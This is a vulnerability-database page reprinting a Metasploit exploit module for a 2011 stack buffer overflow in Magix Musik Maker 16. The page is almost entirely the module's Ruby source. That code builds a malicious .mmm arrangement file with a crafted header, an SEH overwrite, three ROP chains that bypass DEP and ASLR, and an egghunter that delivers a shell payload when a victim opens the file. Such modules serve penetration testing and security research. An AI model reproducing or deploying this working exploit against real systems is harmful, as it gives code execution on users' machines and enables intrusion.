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Magix Musik Maker 16 .mmm Stack Buffer Overflow

🗓️ 22 May 2011 22:08:09Reported by acidgen, corelanc0d3r <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 6 Views

Magix Musik Maker 16 .mmm Stack Buffer Overflow. Exploits stack buffer overflow in Magix Musik Maker 16 when opening a specially crafted arrangement file. Bypasses DEP & ASLR, works on XP, Vista & Windows 7

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Magix Musik Maker 16 .mmm Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Magix Musik Maker 16.
        When opening a specially crafted arrangement file (.mmm) in the application, an
        unsafe strcpy() will allow you to overwrite a SEH handler.  This exploit
        bypasses DEP & ASLR, and works on XP, Vista & Windows 7.  Egghunter is used, and
        might require up to several seconds to receive a shell.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
      [
        'acidgen',      #found the vulnerability
        'corelanc0d3r <peter.ve[at]corelan.be>'  #rop exploit + msf module
      ],
      'References'     =>
        [
          [ 'OSVDB', '72063'],
          [ 'URL', 'http://www.corelan.be/advisories.php?id=CORELAN-11-002' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'       => 8000,  #could be more, but this is enough
          'DisableNops' =>  'True',
          'BadChars'    => "\x00\x0a\x0d",
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [
            'Windows Universal DEP & ASLR Bypass',
            {
              'OffSet' => 198,
              'Ret'    => 0x200146fa,  #add esp,40c/ret [ltkrn14n.dll]
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2011-04-26',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'mmm file',  'msf.mmm']),
      ])
  end

  def junk
    return rand_text(4).unpack("L")[0].to_i
  end

  def exploit

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    badchars = ""
    eggoptions =
    {
      :checksum  => false,
      :eggtag    => "Wo0t",
      :depmethod => "copy",
      :depreg    => "edi",
      :depdest   => "ebp"
    }
    hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)

    header = "RIFF"
    header << "\x8c"
    header << "A"
    header << "\x07\x00"
    header << "SEKDSVIP"
    header << "\x10\x07\x00\x00\x9b"
    header << "[n"
    header << "\x00" * 5
    header << "\x11"
    header << "\x00" * 3
    header << "\x08"
    header << "\x00" * 3
    header << "D"
    header << "\xac\x00\x00\x11"
    header << "\x00" * 9
    header << "9@"
    header << "\x00\x00\xf0"
    header << "B"
    header << "\x00" * 4
    header << "\xbd\x04\xef\xfe\x00\x00\x01"
    header << "\x00" * 3
    header << "\x10\x00\x04\x00\x02"
    header << "\x00" * 3
    header << "\x10\x00\x04\x00\x02\x00"
    header << "?"
    header << "\x00" * 3
    header << "("
    header << "\x00" * 3
    header << "\x04\x00\x04\x00\x01"
    header << "\x00" * 15
    header << "K"
    header << "\x91"
    header << "2"
    header << "\x01\xd0\x02\x00\x00"
    header << "@"
    header << "\x02\x00\x00"
    header << "UUUUUU"
    header << "\xf5"
    header << "?"
    header << "\x10"
    header << "\x00" * 7
    header << "\xff" * 8
    header << "\x00" * 1680
    header << "LISTx"
    header << "\x95\x02\x00"
    header << "physfile"
    header << "\xf8\x08\x00\x00"
    header << "C:\\Documents and Settings\\"
    header << rand_text(8)
    header << "\\My Documents\\MAGIX_Music_Maker_16\\AudioTemp"
    header << "\x00" * 52
    header << "Fat Rocker I_ogg.HDP"
    header << "\x00" * 110
    header << "C:\\Documents and Settings\\All Users\\Application Data\\MAGIX\\Music_Maker_16\\_Demos\\Demo"
    header << "\x00" * 175
    header << "Fat Rocker I.OGG"
    header << "\x00" * 678
    header << "\xf0\xbf"
    header << "\x00" * 22
    header << "\xf0"
    header << "?"
    header << "\x00" * 6
    header << "^@"
    header << "\x00" * 6
    header << "^@"
    header << "\x00" * 264

    filename = "C:\\temp\\"
    filename << "\xb3\x10\xf8\x1f" * 14  # slide
    filename << "\x1e\x92\x01\x20"       # align

    rop_chain1 =
    [
      #API pointer
      0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN  ** [LTKRN14N.dll]
      0x1ff810b3,  # rop nop
      0x1ff810b3,  # rop nop
      0x1ff810b3,  # rop nop
      0x20047f30,  # POP ECX # RETN  ** [LTKRN14N.dll]
      0x2005012c,  # &API ptr
      0x200263e4,  # MOV EAX,DWORD PTR DS:[ECX] # RETN  ** [LTKRN14N.dll]
      0x1ffa3ab3,  # MOV DWORD PTR DS:[EBX],EAX # MOV EAX,1 # POP EBX # RETN 0C  ** [LTDIS14n.dll]
      junk,
      0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN    ** [LTKRN14N.dll]
      junk,
      junk,
      junk,
      0x20035546,  # MOV EAX,EBX # POP EBP # POP EBX # RETN  ** [LTKRN14N.dll]
      junk,
      junk,
      0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08  ** [LTDIS14n.dll]
      0x1ffa82ef,  # POP EAX # RETN
      junk,
      junk,
      0x2E9FA63D,
      0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN  ** [LTKRN14N.dll] D16059A3
      0x1ff93af7,  # ADD EAX,ESI # POP ESI # RETN  ** [LTDIS14n.dll]
      junk,
      0x20047f30,  # POP ECX # RETN  ** [LTKRN14N.dll]
      0x2001283a,  # POP ESI # POP EBP # POP EBX # ADD ESP,1F4 # RETN 10  ** [LTKRN14N.dll]
      # write
      0x1ff9cf5a,  # MOV DWORD PTR DS:[EAX],ECX # MOV EAX,1 # POP ESI # RETN 08  ** [LTDIS14n.dll]
      junk,
      0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN  ** [LTKRN14N.dll]
      junk,
      junk,
      0x20035546,  # MOV EAX,EBX # POP EBP # POP EBX # RETN  ** [LTKRN14N.dll]
      junk,
      junk,
      0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08  ** [LTDIS14n.dll]
      0x1ffa82ef,  # POP EAX # RETN
      junk,
      junk,
      0x2E9FA5F9,
      0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN  ** [LTKRN14N.dll]
      0x1ff93af7,  # ADD EAX,ESI # POP ESI # RETN  ** [LTDIS14n.dll]
      junk,
      0x2003e6cd,  # MOV DWORD PTR DS:[EAX],EDI # POP EDI # POP ESI # MOV EAX,1 # RETN 10  ** [LTKRN14N.dll]
      junk,
      junk,
      0x1ffa82ef,  # POP EAX # RETN    ** [LTDIS14n.dll]
      junk,
    ].pack("V*")


    rop_chain2 = [
      0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN  ** [LTKRN14N.dll]
      0x1ff7c4e5,  # XCHG EAX,EDI # RETN  ** [LTDIS14n.dll]
      0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN    ** [LTKRN14N.dll]
      0x20035546,  # MOV EAX,EBX # POP EBP # POP EBX # RETN    ** [LTKRN14N.dll]
      junk,
      junk,
      0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08  ** [LTDIS14n.dll]
      0x1ffa82ef,  # POP EAX # RETN
      junk,
      junk,
      0x2E9FA591,
      0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN  ** [LTKRN14N.dll]  D16059A3
      0x1ff93af7,  # ADD EAX,ESI # POP ESI # RETN  ** [LTDIS14n.dll]
      junk,
      0x2003e6cd,  # MOV DWORD PTR DS:[EAX],EDI # POP EDI # POP ESI # MOV EAX,1 #
      junk,
      junk,
      0x1ffa82ef,  # POP EAX # RETN  ** [LTDIS14n.dll]
      junk,
      junk,
      junk,
      junk,
      0x2E9FB65D,
      0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN  ** [LTKRN14N.dll]
      0x1ff7c4e5,  # XCHG EAX,EDI # RETN  ** [LTDIS14n.dll]
      0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN    ** [LTKRN14N.dll]
      0x20035546,  # MOV EAX,EBX # POP EBP # POP EBX # RETN    ** [LTKRN14N.dll]
      junk,
      junk,
      0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08  ** [LTDIS14n.dll]
      0x1ffa82ef,  # POP EAX # RETN
      junk,
      junk,
      0x2E9FA539,
      0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN    **D16059A3 [LTKRN14N.dll]
      0x1ff93af7,  # ADD EAX,ESI # POP ESI # RETN  ** [LTDIS14n.dll]
      junk,
      0x2003e6cd,  # MOV DWORD PTR DS:[EAX],EDI # POP EDI # POP ESI # MOV EAX,1 # RETN 10
      junk,
      junk,
      0x2004e494,  # ADD EAX,20 # POP EBX # RETN    ** [LTKRN14N.dll]
      junk,
      junk,
      junk,
      junk,
      junk,
      0x2004e494,  # ADD EAX,20 # POP EBX # RETN    ** [LTKRN14N.dll]
      junk,
      0x1ffa0231,  # DEC EAX # RETN    ** [LTDIS14n.dll]
      0x1ff7c4e5,  # XCHG EAX,EDI # RETN    ** [LTDIS14n.dll]
      0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN    ** [LTKRN14N.dll]
      0x20035546,  # MOV EAX,EBX # POP EBP # POP EBX # RETN    ** [LTKRN14N.dll]
      junk,
      junk,
      0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08  ** [LTDIS14n.dll]
      0x1ffa82ef,  # POP EAX # RETN
      junk,
      junk,
      0x2E9FA4D9,
      0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN  D16059A3
      0x1ff93af7,  # ADD EAX,ESI # POP ESI # RETN    ** [LTDIS14n.dll]
      junk,
      0x2003e6cd,  # MOV DWORD PTR DS:[EAX],EDI # POP EDI # POP ESI # MOV EAX,1 # RETN 10  ** [LTKRN14N.dll]
      junk,
      junk,
      0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN  ** [LTKRN14N.dll]
      junk,
      junk,
      junk,
      junk,
      0x20035546,  # MOV EAX,EBX # POP EBP # POP EBX # RETN  ** [LTKRN14N.dll]
      junk,
      junk,
      0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08  ** [LTDIS14n.dll]
      0x1ffa82ef,  # POP EAX # RETN
      junk,
      junk,
      0x2E9FA469,
      0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN    ** [LTKRN14N.dll]
      0x1ff93af7,  # ADD EAX,ESI # POP ESI # RETN    ** [LTDIS14n.dll]
      junk,
      0x1ff72ce1,  # XCHG EAX,ESP # POP EDI # POP ESI # POP EBP # POP EBX # MOV EAX,1 # RETN
      junk,
    ].pack("V*")

    rop_chain3 = [
      0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08
      junk,
      junk,
      junk,
      junk,
      0x1ffa82ef,  # POP EAX # RETN
      junk,
      junk,
      0x2004FF98,
      0x1ffaccf6,  # ADD EAX,100 # POP EBP # RETN
      junk,
      0x20026406,  # MOV EAX,DWORD PTR DS:[EAX] # NEG EAX # RETN  ** [LTKRN14N.dll]
      0x20026408,  # NEG EAX # RETN         ** [LTKRN14N.dll]
      0x1ff7c4e5,  # XCHG EAX,EDI # RETN    ** [LTDIS14n.dll]
      0x2004da79,  # XOR EAX,EAX # RETN     ** [LTKRN14N.dll]
      0x1ff93ae1,  # ADD EAX,ESI # POP ESI # RETN
      junk,
      0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08  ** [LTDIS14n.dll]
      0x1fffeb75,  # XCHG EAX,EBP # RETN           ** [LTKRN14N.dll]
      junk,
      junk,
      #Oh Irony !
      0x6001ac84,  # PUSHAD # RETN  ** [ijl10.dll]
    ].pack("V*")

    rop_chain1_filler = rand_text(target['OffSet'] - rop_chain1.length - 2 )

    # find a close heap
    prehunter = "\x33\xC0"           #xor eax,eax
    prehunter << "\x64\x8B\x40\x30"  #mov eax,fs[:30]
    prehunter << "\x83\xC0\x48"      #add eax,48
    prehunter << "\x83\xC0\x48"      #add eax,48
    prehunter << "\x8B\x10"          #mov edx,[eax]
    prehunter << "\x83\xc2\x4c"      #add edx,4c
    prehunter << "\x83\xc2\x4c"      #add edx,4c
    prehunter << "\x8B\x12"          #mov edx,[edx]

    nops = make_nops(100)

    filler = "\x5D\xC6\x9F\x2E"      # offset to 0x2000
    filler << "\xc2\x53\x02\x20"     # RETN
    filler << "\x04\x80\xfa\x1f"     # jump - first run : 0x1ffa8004 :  {pivot 8}  # POP EDI # POP EBP # RETN  ** [LTDIS14n.dll]
    filler << "\x12\x3a\xff\x1f"     # p/p/p/p/add esp,90/ret [ltkrn14n.dll] - second run
    filler << "\xff\xff\xff\xff"     # access violation

    buffer = header
    buffer << filename
    buffer << rop_chain1
    buffer << rop_chain1_filler
    buffer << [target.ret].pack("V")
    buffer << filler
    buffer << rop_chain2
    buffer << rop_chain3
    buffer << prehunter
    buffer << hunter
    buffer << nops
    buffer << egg

    filecontent = header + buffer

    print_status("Writing payload to file")

    file_create(filecontent)

  end
end

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02 Oct 2020 20:00Current
7.3High risk
Vulners AI Score7.3
6